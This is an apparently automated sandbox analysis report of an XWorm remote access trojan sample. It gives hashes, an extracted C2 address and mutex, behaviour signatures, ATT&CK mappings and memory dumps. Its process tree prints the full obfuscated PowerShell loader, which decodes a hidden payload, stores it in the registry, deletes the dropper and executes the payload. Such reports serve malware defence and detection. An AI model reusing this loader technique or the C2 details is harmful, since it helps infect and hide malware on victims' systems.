xworm | 38908b3b24f91dd837b7f3730f9e0258337f26274ce71bc2f299c5662247fcf6

Analysis

max time kernel
43s
max time network
46s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
08/03/2025, 09:18

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General

Target

krTVmufRVRif.bat
Size

4.3MB
MD5

c475591ab334bd766b868d4d706938db
SHA1

0e89e12020e858db58b4f8e250c6fea7e03ed95e
SHA256

38908b3b24f91dd837b7f3730f9e0258337f26274ce71bc2f299c5662247fcf6
SHA512

3611b20c0f2918abb33c7869a3755ad78a274dfaab8c69768bd3e3a8762837dedb8b45c64133133dd6d60b8986ca9cfb0db79c0b27cb9bb4cbd7138f286bc28b
SSDEEP

49152:ei50ntRXxAgH2DWZIRrcbzwilGN7BQxYa831JNBQiHCywLILOcLwSpXKEf:/

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

meowycatty.ddns.net:8843

Mutex

jRccj8SKwN7fQIlB

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2880-20-0x0000027D67160000-0x0000027D6716E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
29	2880	powershell.exe
30	2880	powershell.exe
56	2880	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2880	powershell.exe

Deletes itself 1 IoCs

pid	Process
2880	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2880	powershell.exe
2880	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2880	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5016 wrote to memory of 2880	5016	cmd.exe	86
PID 5016 wrote to memory of 2880	5016	cmd.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\krTVmufRVRif.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:xrDrGAvriu;$path = $path.Trim();try {$_1 = Get-Content -Path $path.Substring(1, $path.Length - 2) -ErrorAction Stop;} catch {$_1 = Get-Content -Path $path;};$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name '$phantom-loJDe' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ilp55dzo.wgb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2880-16-0x0000027D66CC0000-0x0000027D66DFA000-memory.dmp

Filesize
1.2MB

Download
memory/2880-3-0x0000027D667F0000-0x0000027D66812000-memory.dmp

Filesize
136KB

Download
memory/2880-13-0x00007FFF06A30000-0x00007FFF074F1000-memory.dmp

Filesize
10.8MB

Download
memory/2880-14-0x00007FFF06A30000-0x00007FFF074F1000-memory.dmp

Filesize
10.8MB

Download
memory/2880-15-0x0000027D66CB0000-0x0000027D66CB8000-memory.dmp

Filesize
32KB

Download
memory/2880-2-0x00007FFF06A33000-0x00007FFF06A35000-memory.dmp

Filesize
8KB

Download
memory/2880-17-0x0000027D66E00000-0x0000027D66E58000-memory.dmp

Filesize
352KB

Download
memory/2880-18-0x00007FFF24BB0000-0x00007FFF24DA5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-19-0x00007FFF24540000-0x00007FFF245FE000-memory.dmp

Filesize
760KB

Download
memory/2880-20-0x0000027D67160000-0x0000027D6716E000-memory.dmp

Filesize
56KB

Download
memory/2880-21-0x00007FFF06A33000-0x00007FFF06A35000-memory.dmp

Filesize
8KB

Download
memory/2880-22-0x00007FFF06A30000-0x00007FFF074F1000-memory.dmp

Filesize
10.8MB

Download
memory/2880-23-0x00007FFF06A30000-0x00007FFF074F1000-memory.dmp

Filesize
10.8MB

Download